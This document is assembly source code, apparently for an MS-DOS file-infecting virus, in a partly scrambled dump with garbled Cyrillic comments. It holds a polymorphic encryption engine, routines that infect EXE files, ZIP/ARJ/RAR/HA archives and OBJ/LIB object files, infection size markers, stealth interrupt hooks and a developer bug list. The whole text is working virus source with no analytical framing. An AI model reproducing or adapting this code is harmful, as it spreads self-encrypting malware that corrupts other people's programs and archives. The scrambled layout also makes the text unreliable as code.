; ? compressed file ends ha_main struc hasign db 'HA' filecnt dw ? ends ha_file_hdr struc ha_ver_method db 20h ha_compress_size dd ? ha_original_size dd ? ha_CRC32 dd ? ha_file_time dw ? ha_file_date dw ? ha_path dw ? ; '/', '.', '+' ends ha_name equ ha_path+size ha_path ;+1 name ;+n 00h ;+1 length of machine specific information ;+1 machine specific information ;2,1,20 ;machine specific information :
; ; ; ; ; ; ; ;
0 2 6 A E 10 12 db 14
;0000 ;0001
type information
rar_main_hdr struc rar_head_crc dw ? rar_head_type db 73h rar_head_flags dw ? ; 0x01 - Volume attribute (archive volume) ; 0x02 - Archive comment present ; 0x04 - Archive lock attribute ; 0x08 - Solid attribute (solid archive) ; 0x10 - Unused ; 0x20 - Authenticity information present rar_head_size dw ? rar_reserved1 dw ? rar_reserved2 dd ? ends ;Comment block present if (HEAD_FLAGS & 0x02) != 0 rar_file_hdr struc rar_f_head_crc dw ? ; 0 rar_f_head_type db 74h ; 2 rar_f_head_flags dw ? ; 3 ; 0x01 - file continued from previous volume ; 0x02 - file continued in next volume ; 0x04 - file encrypted with password ; 0x08 - file comment present ; (HEAD_FLAGS & 0x8000) == 1, because full ; block size is HEAD_SIZE + PACK_SIZE rar_f_head_size dw ? ; 5 rar_compressed_size dd ? ; 7 rar_original_size dd ? ; B rar_host_os db 0 ; F rar_crc32 dd ? ;10 rar_file_time dw ? ;14 rar_file_date dw ? ;16 rar_req_ver db 15d ;18 rar_method db 30h ;19 rar_fname_size dw ? ;1A rar_file_attrib dd ? ;1C ends ;20 ;FILE_NAME File name - string of NAME_LEN bytes size ;Comment block present if (HEAD_FLAGS & 0x08) != 0 ;???? Other extra included blocks - reserved for future use
zip_local_header struc zip_loc_sign zip_ver_ned_to_extr
ends ;
db dw
'PKETXEOT' ? ;
4
zip_flags zip_compression_method zip_file_time zip_file_date
dw dw dw dw
? ? ? ?
; ; ; ;
6 8 A C
zip_crc_32 zip_compressed_size zip_uncompressed_size zip_size_fname zip_extra_field_length
dd dd dd dw dw
? ? ? ? ?
; ; ; ; ;
E 12 16 1A 1C
; 1E filename (variable size)
;
0
; extra field (variable size) zip_central_header struc zip_centr_sign_ zip_ver_made_by_ zip_ver_ned_to_extr_ zip_flags_ zip_compression_method_ zip_file_time_ zip_file_date_ zip_crc_32_ zip_compressed_size_ zip_uncompressed_size_ zip_size_fname_ zip_extra_field_length_ zip_file_comment_length_ zip_disk_number_start_ zip_intrnl_file_attr_ zip_extrnl_file_attr_ zip_rel_off_of_loc_hdr_ ends ; filename (variable size) ; extra field (variable size) ; file comment (variable size)
db dw dw dw dw dw dw dd dd dd dw dw dw dw dw dd dd
zip_end_header struc end_file_hdr_sign db num_of_this_disk dw num_of_the_start_disk dw ttl_num_of_ent_on_this_disk dw ttl_num_of_ent_in_the_cent_dir dw size_of_the_central_directory dd off_of_strt_of_cent_directory dd zipfile_comment_length dw ends ; zipfile comment (variable size)
seg_attr RECORD SA_A:3, SA_C:3, SA_B:1, SA_P:1 MODEND = 08Ah SEGDEF = 098h FIXUPP = 09Ch LEDATA = 0A0h ;extrn dosseek_cx_0:near objrec struc rectype db ? recsize dw ? UNION STRUC segattr db ? segsize dw ? ENDS STRUC dataidx db ? dataorg dw ? ENDS ENDS ENDS
LIB_DICTIONARY_ENTRY_SIZE = 200h lib_hdr struc lib_hdr_type db
0F0h
'PKETXEOT' ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ? ; ; 2E
'PKENQACK' ; ? ; 4 ? ; 6 ? ; 8 ? ; A ? ; C ? ; 10 ? ; 14 ; 16
; 4 6 8 A C E 10 14 18 1C 1E 20 22 24 26 2A
0
0
lib_hdr_recsize lib_hdr_dict_offs lib_hdr_dict_size lib_hdr_flags lib_hdr_padding
dw dd dw db db
? ? ? ? 10h-lib_hdr_padding dup (?)
ends ;;MRORW MACRO w1, shval ;;PUSHSTATE ;;.386 ;; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl ;; (10h-(shval and 0Fh))) ;;POPSTATE ;;ENDM
CRC32w MACRO moreshit PUSHSTATE .386 LOCAL cum_crc, byt, suxx cum_crc = 0FFFFFFFFh IRP _byt, <moreshit> byt = _byt xor (cum_crc and 0FFh) cum_crc = (cum_crc shr 8) and 0FFFFFFh REPT 8 IF byt and 1 byt = (byt shr 1) xor 0EDB88320H ELSE byt = byt shr 1 ENDIF ENDM cum_crc = cum_crc xor byt ENDM cum_crc = not cum_crc suxx = (((cum_crc shr 16) and 0FFFFh) shr (cum_crc and 0Fh)) or \ (((cum_crc shr 16) and 0FFFFh) shl (10h-(cum_crc and 0Fh))) suxx = (suxx + cum_crc) and 0FFFFh ; add dx, cx dw suxx POPSTATE ENDM cmp_ax_CRC32w MACRO moreshit db 3Dh CRC32w <moreshit> ENDM .286 %NOINCL %NOSYMS .SFCOND .XCREF .SALL locals USE_PUSHA equ 0 ;RELIZ equ 0 ;USE_BEEP equ 0 $BEEP$ macro IFDEF USE_BEEP extrn beep:near
call beep ENDIF endm ;*************************************************************************** INCLUDE SF.INC ;\ INCLUDE FIND.INC ;| INCLUDE EXE.INC ;> ¨§ ¨á室-¨ª®¢ MS-DOS 3.30 INCLUDE PDB.INC ;| INCLUDE DPB.INC ;| INCLUDE DIRENT.INC ;| INCLUDE ARENA.INC ;/ ;*************************************************************************** INCLUDE STAR14T.INC INCLUDE ABSDISK.INC INCLUDE ARXHDRS.ASI INCLUDE SHMAC.INC INCLUDE CRC.ASI ;*************************************************************************** GLOBAL RND_INIT:near, \ RND_GET:near, \ randomizer RND_GET_THREE_BITS:near, \ RND_GET_BYTE:near ;*************************************************************************** ;*************************************************************************** RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI RegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH secondbyte
RECORD
asgrbl
N REG_GARBL3 REG_GARBL2 REG_GARBL1 REG_TMP2 REG_TMP1 REG_ENC REG_INDEX
RECORD
M0D:2, REG:3, R_M:3 :1, :1, :1, :1, :1, :1, :1, :1
\ \ \ \ \ \ \ ;
ॣ¨áâàë -¥ ¨á¯®«ì§ã¥¬ë¥ ¤«ï à áè¨*஢ª¨ ¤«ï ª®-áâ -â
㪠§ ⥫ì -
è¨*à㥬®¥ á«®¢®
REG_GARBL_ALL = MASK REG_GARBL1 or \ ॣ¨áâàë MASK REG_GARBL2 or \ -¥ ¨á¯®«ì§ã¥¬ë¥ MASK REG_GARBL3 ; ¤«ï à áè¨*஢ª¨ REG_ENC_ALL = MASK REG_ENC or \ ॣ¨áâàë MASK REG_TMP1 or \ ¨á¯®«ì§ã¥¬ë¥ MASK REG_TMP2 ; ¤«ï à áè¨*஢ª¨ REG_ALL = MASK REG_INDEX or \ ¢á¥ ॣ¨áâàë (ªà®¬¥ SP) REG_ENC_ALL or \ REG_GARBL_ALL ; ;*current*not*used********************************************************** ENFLAGS RECORD EN_SAVE_REGS :1, \ á®åà -ïâì ॣ¨áâàë ¯¥à¥¤ à áè¨*஢ª®© EN_USE_INT :1, \ ¥-ª®¤¨âì ¯à¥àë¢ -¨ï EN_USE_CALL :1, \ ¥-ª®¤¨âì ¯à®æ¥¤ãàë ¨ JMP near EN_USE_JMPS :1, \ ¥-ª®¤¨âì ãá«®¢-ë¥ ¯¥à¥å®¤ë EN_INT_GARBL :1, \ ¬ «® «¥¢ëå ¨-áâàãªæ¨© ¢ à áè¨*஢騪¥ EN_RELOCATOR :1, \ ®¯à¥¤¥«ïâì ᢮¥ ¯®«®¦¥-¨¥ ¢ ¯ ¬ï⨠EN_BFR_GARBL :2 ;*************************************************************************** ENFLAGS_ARX =
MASK EN_RELOCATOR or MASK EN_USE_INT or MASK EN_USE_JMPS or MASK EN_USE_CALL or (3 shl EN_BFR_GARBL)
\ \ \ \ ;
;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ ENFLAGS_EXE = MASK EN_USE_INT or \ MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ (3 shl EN_BFR_GARBL) ; ;*************************************************************************** ENFLAGS_HDR = MASK EN_INT_GARBL or \ MASK EN_RELOCATOR or \ MASK EN_SAVE_REGS ;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ c podgruzkoi ENFLAGS_IXE = MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ MASK EN_RELOCATOR or \ MASK EN_SAVE_REGS or \ (2 shl EN_BFR_GARBL) ; ;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥ ENFLAGS_OBJ = MASK EN_INT_GARBL or \ MASK EN_SAVE_REGS or \ MASK EN_USE_CALL or \ MASK EN_RELOCATOR or \ (1 shl EN_BFR_GARBL) ; ;*************************************************************************** ;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥ ;ENFLAGS_OBJ = MASK EN_INT_GARBL or \ ; MASK EN_SAVE_REGS or \ ; MASK EN_RELOCATOR ;*************************************************************************** ;®¯ª®¤ë opNOP equ 90h opPUSHF equ 9Ch opINT equ 0CDh opCALL equ 0E8h opJMPN equ 0E9h opJMPS equ 0EBh opSEGCS equ 2Eh opSEGES equ 26h opRETN equ 0C3h opRETF equ 0CBh opJMPFAR equ 0EAh opMOV_AHimm equ 0B4h opPUSH_CS equ 0Eh opPUSHA equ 60h opPOPA equ 61h opJC equ 72h opJZ equ 74h opPOP_AX equ 58h opPUSH_AX equ 50h opCMP_AXimm equ 3Dh opCMP_ALimm equ 3Ch ;*************************************************************************** ;¬¨-¨¬ «ì-ë© ¨ ¬ ªá¨¬ «ì-ë© à §¬¥àë § à ¦ ¥¬ëå EXEè-¨ª®¢ MININFECTSIZE equ 400h ; 1k MAXINFECTSIZE equ 80000h ;512k ;*************************************************************************** INTERVAL_INFECT = 2 INCUB_TIME = 3 ;14 sec VIRUSSTACKSIZE TIMEMARKER SIZEMARKER
equ 0D0h equ 1 equ 157d
SIZEMARKER_MOD equ 37d CRYPTLEVEL equ 50h ;¬ ªá¨¬ «ì-® ¢®§¬®¦-ë© (!) DOUBLEENCRYPT equ 80h HDRCRYPTLEVEL equ 4Fh EXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPT IXECRYPTLEVEL equ 29h ARXCRYPTLEVEL equ 27h+DOUBLEENCRYPT OBJCRYPTLEVEL equ 1Fh IRP EXT, zmefl&EXT equ (&EXT&CRYPTLEVEL shl 8) or ENFLAGS_&EXT ENDM UNINIT equ 1111h ZIP_SIGN = 4B50h ARJ_SIGN = 60000d RAR_SIGN = 6152h HA_METHOD_STORED = 20H ARJ_METHOD_STORED = 0 ZIP_METHOD_STORED = 0 RAR_METHOD_STORED = 30h ZIP_LCL_ID = 403h ZIP_CNL_ID = 201h ZIP_END_ID = 605h CRLF equ <0Dh,0Ah> ;*************************************************************************** ;dword_shit struc ; lo dw ? ; hi dw ? ;ends dword_shit struc union lo dw ? struc l db ? h db ? ends ends hi dw ? ends ;*************************************************************************** ifInfJump macro whatest, execut extrn IfInfect&whatest:near ; lea di, execut call IfInfect&whatest endm ;*************************************************************************** probability_test macro variabl, glb_pr, go_to local __1 extrn variabl:byte call RND_GET_BYTE cmp ah, byte ptr ds:[variabl] jae __1 cmp al, glb_pr __1: jae go_to endm prALWAYS = -1 ;*************************************************************************** ENGBUFFER STRUC ; UNION STRUC ; zmeflags ENFLAGS ?
cur_cryptlevel ENDS zmefl ENDS datasize jmp_after_decrypt targetptr segm_IDT cJMP_patch nJMP_patch begin_sub end_of_jmp start_reg2 start_reg3 loop_top lastgarble lastchoose decryptor_size relocator_base reloff_1 reloff_2 value_J value_X value_Y useregs IRPC NR, 0123456 reg&NR ENDM
db
?
dw
?
dw dw dw db dw dw dw dw dw dw dw db db dw dw dw dw dw dw dw asgrbl
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
RegWord ?
ENDS ;*************************************************************************** ;all_memory_size_p=400h ;16k in memory :) all_memory_size_p=700h ;20k in memory :( HDRBUFSIZE = 22h hp equ (bp-80h)
WORKBUFFER STRUC UNION STRUC ;infect ARX _arx_crc _fnamestr _hafcount ENDS STRUC ;infect OMF _siz98 _posA0 _sizA0 _lib_dict_offset ENDS STRUC UNION STRUC ;func 4B _load_fname _load_array ENDS STRUC ;func 3F _rd_st_cnt _st_rd_off _beg_pos_lo ENDS ENDS UNION
dd db dw
? 12d dup (?) ?
dw dd dw dw
? ? ? ?
dw dw
? ?
dw dw dw
? ? ?
_saved_seek dd ? ;for restore header etc STRUC ;stealth int25 _start_sec dd ? _abs_read_drive db ? ENDS ENDS
; ;
ENDS ENDS _host_arx_date _host_arx_time _beg_pos _pos98 _fisize _fioff _fnamesize _crthdr _last_infect_time _hook _close_on_error _save_sp _save_ss _after_goto _five_bytes _turn_name_crc _engdata _exehdr _dataencriptor _for_ret
ENDS _hahdr _ziphdr _arjhdr _rarhdr _objhdr _libhdr _sfxhdr _shift_buffer
equ equ equ equ equ equ equ equ
dw ? ; ¤*â § à ¦ ¥¬®£® * ©« dw ? ; ¤*â § à ¦ ¥¬®£® * ©« dd ? ;use in "f_insert" dd ? dw ? dw ? dw ? db 40h dup (?) dw ? dw ? db ? ;if 1, doserror-> close file dw ? dw ? dw ? db 5 dup (?) dw ? ENGBUFFER ? db HDRBUFSIZE dup (?) dd CRYPTLEVEL dup (?) db ?
_exehdr _exehdr _exehdr _exehdr _exehdr _exehdr _exehdr _exehdr
To_hp MACRO some_label some_label equ (hp+_&some_label&) ENDM To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp
host_arx_date host_arx_time hook last_infect_time close_on_error after_goto lib_dict_offset hafcount saved_seek start_sec abs_read_drive beg_pos arx_crc load_fname load_array rd_st_cnt st_rd_off beg_pos_lo fnamestr
To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp To_hp
pos98 siz98 posA0 sizA0 fisize fioff fnamesize engdata crthdr exehdr save_sp save_ss five_bytes turn_name_crc hahdr ziphdr arjhdr rarhdr objhdr libhdr sfxhdr shift_buffer
PURGE To_hp include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code IFDEF USE_BEEP public beep beep proc call beep1 beep endp beep1 proc push mov out REPT 2 loop ENDM mov out pop ret beep1 endp ENDIF ends end
cx ax al, 3 61h, al $ al, 0 61h, al ax cx
;include shmac.inc include star14t.inc code segment public byte assume cs:code public Calculate_CRC public Calculate_CRC5 ;-+----------------------------------------------------------+;ds:si=ptr ;di=size ;return: cx:dx=crc32 ;-+----------------------------------------------------------+Calculate_CRC5:
mov di, 5 Calculate_CRC: cld push bx mov cx, -1 mov dx, cx DO xor ax, ax xor bx, bx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 DO shr bx, 1 rcr ax, 1 DOIF C xor ax, 08320H xor bx, 0EDB8H DONE dec dh CYCLE NZ xor cx, ax xor dx, bx dec di CYCLE NZ not dx not cx pop bx mov ax, dx ror ax, cl add ax, cx ret ;-+----------------------------------------------------------+ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code
;.DATA public public public public public public
vir_heap, StealthName, start_data dataencriptor heap InfectTurn zip_h arj_h
;public five_bytes zip_h dw arj_h dw start_data: vir_heap:
ZIP_SIGN, ZIP_LCL_ID, 14h ARJ_SIGN, 31Eh
WORKBUFFER ? dataencriptor
dd
CRYPTLEVEL dup (?)
for_ret
db
?
StealthName db 80h dup (?) InfectTurn db 80h dup (?) pblabel continue21 db 11d dup (?) db ? ret_hook dd ? ret_sux dw ? public ret_hook public ret_sux ; public after_goto ;after_goto dw ?
heap: db 1800h dup (?) end_data: ;nameforinfect db 80h dup (?) ;CurDta mem_virus_end: ;data_size=end_data-begin_data ;all_memory_size_p equ (offset mem_virus_end+30h)/10h ends end code segment byte public assume cs:code, ds:code, es:code, ss:code public get_sft get_sft proc ;bx-handle ;es:di-ptr to sft push ax bx mov ax, 1220h int 2Fh mov bl, es:[di] mov ax, 1216h int 2Fh pop bx ax ret get_sft endp ends end code segment byte public assume cs:code, ds:code, es:code, ss:code public get_cur_time get_cur_time proc push ds xor ax, ax mov ds, ax mov ax, word ptr ds:[46Dh] pop ds ret get_cur_time endp ends end INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code STACKBASE equ 080h extrn restore_seek :near
extrn save_seek :near extrn seek_end :near extrn dosseek_bof :near extrn DOSCALL :near extrn DosCall_exc :near extrn NOSTL21NAMES :near extrn get_own_name extrn get_crc_just_fname ;extrn check_PROCESS_NAME :near ;extrn EXE_TEST_READ :near extrn start_data :near extrn dosclose :near extrn read_buf_22 :near ;public ;public ;public ;public ;public ;public ;public
:near :near
exe_test_read IfInfectName IfInfectHandle IfInfectBuf IfInfectNameCustom exe_test test_size
;-+------------------------------------------------------------------------+pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file mov ax, 3D40h ; open R/O file pblabel IfInfectNameCustom mov byte ptr cs:[ErrorRead], opCALL call DosCall_exc ; open file ; ¥á«¨ -¥ ®âªà®¥âáï - ®ç¥-ì ¯«®å® :( ;- ¤® ®¡ï§ ⥫ì-® ®âªàëâì (67h?) ; push bx xchg bx, ax call seek_end call test_size ;
jnz
ErrorRead
jz IfInfectHandle1 ErrorRead: call dosclose ; close file pop ax ret ;-+------------------------------------------------------------------------+-
pblabel IfInfectHandle mov byte ptr cs:[ErrorRead], 0B8h ;don't close this file IfInfectHandle1: MOVSEG ds, cs ;*****************test size
mov call jc rol jc call ; ; ;
call call
ax, 4400h DosCall ErrorRead dl, 1 ErrorRead save_seek seek_end test_size
; IOCTL test for file/stream ;NDD: open 'CON' :) ;no file ;no file
; ;
;
jnz call call jc call
ErrorRead dosseek_bof read_buf_22 ErrorRead restore_seek
pblabel IfInfectBuf ;if PKZIP, NDD (ZF=1) - no stealth push ds dx call get_own_name call get_crc_just_fname pop dx ds jz ErrorRead call exe_test jnz ErrorRead ;test for infect mov ax, [exehdr.exe_CS] ;later to ss:[ExeCS] add ax, [exehdr.exe_par_dir] mov cx, 10h mul cx add ax, [exehdr.exe_SP] sub ax, STACKBASE-10h ;offset virus_start-10h ;ax - original size cmp ah, MININFECTSIZE/100h jb ErrorRead test al, 1 jnz ErrorRead ret ;IfInfectHandle endp ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel exe_test ;-+------- test for already infect -> ZF=1 if infect ;ZF=0 - no infected file ; mov ax, [exehdr.exe_SS] ; inc ax ; sub ax, [exehdr.exe_CS] ; DOIF Z mov al, [exehdr.exe_SS.h] sub al, [exehdr.exe_CS.h] cmp al, 17h DOIF BE mov ax, [exehdr.exe_SP] and ax, 0FFF0h sub ax, STACKBASE DONE ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel test_size ;ax-(file_size and 0FFFFh) ;-+------- test for already infect -> ZF=1 if possible infect ;ZF=0 - no infected file ;for length with virus push ax cx dx xor dx, dx mov cx, SIZEMARKER div cx cmp dx, SIZEMARKER_MOD pop dx cx ax ret
;-+------------------------------------------------------------------------+ends end ; ; ; ; ;
BUG LIST 1. no infect ARJSFX 2. no -AV in ZIP 3. no support RAR 1.30 4. no support long names
INCLUDE ZURICH.ASI code segment byte public assume cs:code, ds:code, es:code, ss:code STACKBASE equ 080h ;**************************************************************************** extrn DOSCALL :near extrn DOStruncate :near extrn rt_err :near extrn vir_heap :near extrn EXE_TEST :near extrn SEEK_END :near extrn TEST_SIZE :near extrn START_DATA :near extrn CALC_HDR_PAGES :near extrn DOSSEEK :near extrn START_DATA :near extrn DOSSEEK_BOF :near extrn ZME_crypt :near extrn dosseek_cur :near extrn DosCall_exc :near extrn SHIT_AX :near extrn get_sft :near extrn dostell :near extrn heap :near extrn DosSeek_all :near extrn dosseek_cur_neg_dx :near extrn dosseek_cur_neg_ax :near extrn dosseek_cur_cx_1 :near extrn dosseek_cur_cx_0 :near extrn dosseek_cx_0 :near extrn arj_h :near extrn zip_h :near extrn dosread :near extrn read_buf_22 :near extrn read_buf_cx :near extrn DosWrite_shbuf_22 :near extrn DosWrite_shbuf :near extrn DosWrite :near extrn dosclose :near extrn doswrite_from_heap :near extrn _____ :byte extrn Calculate_CRC :near extrn get_cur_time :near extrn get_crc_just_fname :near extrn InfectTurn :byte extrn crypt_exe_header :near ;**************************************************************************** ;**************************************************************************** pblabel InfectName
MOVSEG ds, cs lea dx, InfectTurn call get_crc_just_fname jz $ret$ cmp ax, [turn_name_crc] je $ret$ mov [turn_name_crc], ax mov ax, 3D12h call DosCall_exc xchg bx, ax push bx call InfectHandle pop bx jmp dosclose ;**************************************************************************** ;**************************************************************************** pblabel InfectHandle ;ret ; cld MOVSEG ds, cs MOVSEG es, cs call no_freq_proc mov ax, 5700h call doscall mov [host_arx_date], dx ; dx = date mov [host_arx_time], cx ; cx = time mov ah, 2Ah ; ¯®«ãç¨âì ⥪ãéãî ¤ âã ¨ ...... call doscall xor dx, [host_arx_date] ;-¥ § à ¦ âì * ©«ë í⮩ -¥¤¥«¨ and dx, 18h ;week only ; ¨áª«. ᮧ¤ ¢ ¥¬ë¥ * ©«ë (?) DOIF NZ call arxtest DONE mov cx, [host_arx_time] xor cl, 1 ;change time for 1F mov dx, [host_arx_date] mov ax, 5701h jmp doscall_exc ;**************************************************************************** ;**************************************************************************** pblabel arxtest ;close file(?) call RND_INIT mov ax, 4400h ; IOCTL test for file/stream call DosCall_exc cmp dl, 80h DOIF NC $ret: pop ax ;don't restore file time $ret$: retn DONE and dl, 0Fh inc dx ;1=a, 3=C ;IFDEF RELIZ ; cmp dl, 3 ;ELSE ; cmp dl, 4 ; jbe $ret ; no flop & C: ;ENDIF ; jc $ret ; no flop ;int 2bh cmp
dl, 3 ;<<debug
jbe $ret ;<<debug $BEEP$ ;cmp dl, 2 ;<<debug ;je $ret ;<<debug ;cmp dl, 1 ;<<debug ;je $ret ;<<debug call get_sft cmp es:[di.sf_name.9], 'V' ;*.ov? je $ret inc di DOIF NZ inc di sto_word 2012h sto_byte 20h DONE movseg
es, ss
push bx ds mov ah, 32h ;get DPB call DosCall ;test for RAM-DISK cmp byte ptr ds:dpb_FAT_count[bx], 1 ;RAM-DISK have one FAT DOIF NE mov ah, 36h ;get Disk space call DosCall ;BX - free clusters and bh, bh ;BX < 100h DONE ;no_free_space2: ;8k*100h = 2Mb pop ds bx ;.5k*100h = 128k jz $ret ;int 2bh ; mov ; mov
es:[(di-1).sf_mode.l], 12h es:[(di-1).sf_attr], 20h
;mode +2 ;attr +4
call dosseek_bof pblabel second_tst call read_buf_22 cmp al, HDRBUFSIZE jne __ret mov crcpass, 8 DO shr crcpass, 1 DOIF E ;CPU conveir __ret: ret DONE lea si, [vir_heap._exehdr] mov di, 2 ;4,2,1 crcpass equ byte ptr ($-2) call calculate_crc lea di, hdrs mov cx, (offs-hdrs)/2 repne scasw CYCLE NZ push word ptr [di+offs-hdrs-2] cmp cx, (offs-endarxex)/2 ;<<< DOIF AE ;zip, arj, rar ;*[create & infect file]**************************************************** call RND_GET_BYTE lea di, [heap]
;
sto_byte opJMPN stosw mov ax, zmeflARX call ZME_crypt ;;ret CX-SIZE lea si, [heap] mov word ptr [fioff] , si mov [si+1], ax ;
mov word ptr [fisize], cx ;
;*Å**[process EXE/SFX]*****************************************************Å* pblabel process_exe mov ax, [exehdr.exe_pages] mov cx, [exehdr.exe_len_mod_512] jcxz ExactPage dec ax pblabel ExactPage mov dx, 200h mul dx add cx, ax xchg cx, dx call DosSeek call second_tst cmp di, offset offs-2 jb $$ret
;*Å**[process EXE]*********************************************************Å* ;newexetest ; probability_test prblt_infct_EXE, 0f0h, error_exit ;**************************************************************************** ; INFECT exe ;**************************************************************************** ;int 2bh call seek_end ;§¤¥áì ®âá¥ïâì ¬ «¥-쪨¥ * ©«ë cmp ah, MININFECTSIZE/100H jb $$ret ;................................ call test_size ;proc;ax-(file_size and 0FFFFh) jz $$ret call dosseek_bof call read_buf_22 call exe_test jz $$ret ;already infect ;; -¥ § à ¦ âì EXE * ©«ë ¡¥§ ५®ª¥©è¥-®¢, ;¨ ¥á«¨ ५®ª¥©è¥-®¢ ®ç¥-ì ¬-®£® (?) cmp byte ptr [exehdr.exe_rle_count], 1 ;0 or 1 relocations jb $$ret ;................................ ;; ¥á«¨ ¤«¨- § £à㦠¥¬®© ç á⨠exeè-¨ª ¡®«ìè¥ ... 32k = 40h pages ;test for pklite(etc) & PASS E cmp word ptr [exehdr+18h], 40h ; jae standart_exe_infect2 mov al, byte ptr [exehdr+1Eh] cmp al, 'P' ;PKLITE ? je standart_exe_infect2 cmp al, 20h ;07, 20h -WATCOM je standart_exe_infect2 cmp al, 7 ;07, 20h -WATCOM je standart_exe_infect2 cmp byte ptr [exehdr.exe_pages], 40h jbe standart_exe_infect2 pblabel insert_exe_infect mov dx, [exehdr.exe_par_dir] shl dx, 4 jc standart_exe_infect2 ;if header rel="nofollow">64k call dosseek_cx_0 lea dx, [heap] mov cx, 1800h ;6k call DosRead xchg cx, ax ;scan lea si, [heap+2] DO mov di, 3 dec si dec si push cx call calculate_crc ; ;push bp; mov bp,sp ;< BORLAND je exfnd cmp_ax_CRC32w <55h, 89h, 0E5h> ;push bp; mov bp,sp ;< BORLAND je exfnd pblabel cont_search pop cx ; CYCLE LU pblabel standart_exe_infect2
jmp standart_exe_infect pblabel exfnd sizeof_part1=54h push si mov cx, sizeof_part1 DO lodsb push cx lea di, endd mov cx, 6 repne scasb pop cx ; jz nff ;nff: DOIF Z pop si jmp cont_search DONE CYCLE LU pop si ;$BEEP$ extrn ffsize_lo:word extrn ffsize_hi:word call seek_end mov ffsize_lo, ax mov ffsize_hi, dx mov dx, [exehdr.exe_par_dir] shl dx, 4 add dx, si sub dx, (offset heap)+3 call dosseek_cx_0 lea dx, [heap+sizeof_part2] ; to heap+sizeof(part2) mov cx, sizeof_part1 call DosRead call dosseek_cur_neg_ax ;§¤¥áì part 1 extrn part1:near extrn part2:near ;¢ë¡®à ªà¨¯â®¢é¨ª ¤«ï part2 (?) extrn crypt_part2:byte call RND_GET mov crypt_part2, al mov crypt_old1, ah lea dx, part1 mov cx, sizeof_part1 call DosWrite call seek_end sizeof_part2 = 70h ;«ãçè¥ çâ®-â® ¢à®¤¥: ; part2 -> heap ; encode virus to heap+sizeof(part1)+sizeof(part2) lea di, [heap+sizeof_part1+sizeof_part2] mov ax, zmeflIXE call ZME_crypt ;;ret CX-SIZE extrn ffentrvir:word extrn crypt_old1:byte mov ffentrvir, ax ;? lea si, part2 lea di, [heap] push cx mov cx, sizeof_part2 DO
lodsb sub stosb CYCLE LU mov cx, mov al, DO sub inc CYCLE LU pop cx
al, crypt_part2
sizeof_part1 crypt_old1 byte ptr [di], al di
; crypt part2 add cx, (sizeof_part1+sizeof_part2) call doswrite_from_heap call write_sizemarker pblabel error_exit_2 pop ax pblabel endd db 0C3h db 0CBh db 0CFh db 09Ah db 0CAh db 0C2h pblabel no_freq_proc call get_cur_time sub ax, [last_infect_time] cmp ax, INTERVAL_INFECT ;0.5 ¬IFDEF RELIZ jl error_exit_2 ;<<<<<<<<<debug ENDIF ret ;
ret
; DONE pblabel standart_exe_infect call seek_end ;dx:ax - file size test al, 1 jnz endd ;-¥ § à ¦ âì EXE* ©«ë á -¥ç¥â-®© ¤«¨-®© cmp dl, 6 ;6*64k=384k 4*64k=256k jae endd ;file too big, infect him other method (?) ;**************************************************************************** ; INFECT ;**************************************************************************** ;write old header to EOF push ax dx ;dx:ax - file size call crypt_exe_header mov cx, exe_rle_table-exe_len_mod_512 ;14h call doswrite_from_heap pop dx ax mov and add mov
cx, ax cx, 0Fh cl, STACKBASE ;offset virus_start-10h [exehdr.exe_SP], cx
add and
ax, VIRUSSTACKSIZE-10h ax, not 0Fh
;paragraph
push mov mov call pop
ax dx cx, dx dx, ax dosseek dx ax
mov div sub sub mov add mov call add
cx, 10h cx ;dx:ax = ax, [exehdr.exe_par_dir] ax, VIRUSSTACKSIZE/10h [exehdr.exe_CS], ax ah, cl [exehdr.exe_SS.h], ah ;64k RND_GET_THREE_BITS [exehdr.exe_SS.h], al ;
lea di, [heap] ;to heap mov ax, zmeflEXE call ZME_crypt ;;ret CX-SIZE add ax, VIRUSSTACKSIZE mov [exehdr.exe_IP], ax call doswrite_from_heap ;write encrypted virus call write_sizemarker call seek_end ;get file size mov di, [exehdr.exe_pages] call calc_hdr_pages ;㬥-ìè¨âì MinMem - à §¬¥à ®¢¥à«¥ï (?) sub di, [exehdr.exe_pages] ;®âà¨æ. shl di, 5 add [exehdr.exe_min_BSS], di DOIF NC mov [exehdr.exe_min_BSS], 0 DONE pblabel write_exehdr call dosseek_bof mov cx, 1Ch jmp DosWrite_shbuf ;write new header
;**************************************************************************** ;*Å**[process OBJ]*********************************************************Å* pblabel cycle_o mov dx, [objhdr.recsize] sub dx, HDRBUFSIZE - 3 sbb cx, cx call dosseek_cur ;_cx_0 call read_buf_22 ; cmp al, HDRBUFSIZE jne obj$ret1 pblabel process_obj ;test size ;int 2bh cmp [objhdr.rectype], MODEND je obj$ret1 ;-+-[process 98]-------------+cmp [objhdr.rectype], SEGDEF PASS NE CMP [pos98.hi], -1 DOIF E cmp word ptr [objhdr.recsize], 7 jne obj$ret1 test byte ptr [objhdr.segattr], MASK SA_B or MASK SA_P jnz obj$ret1
;
test test
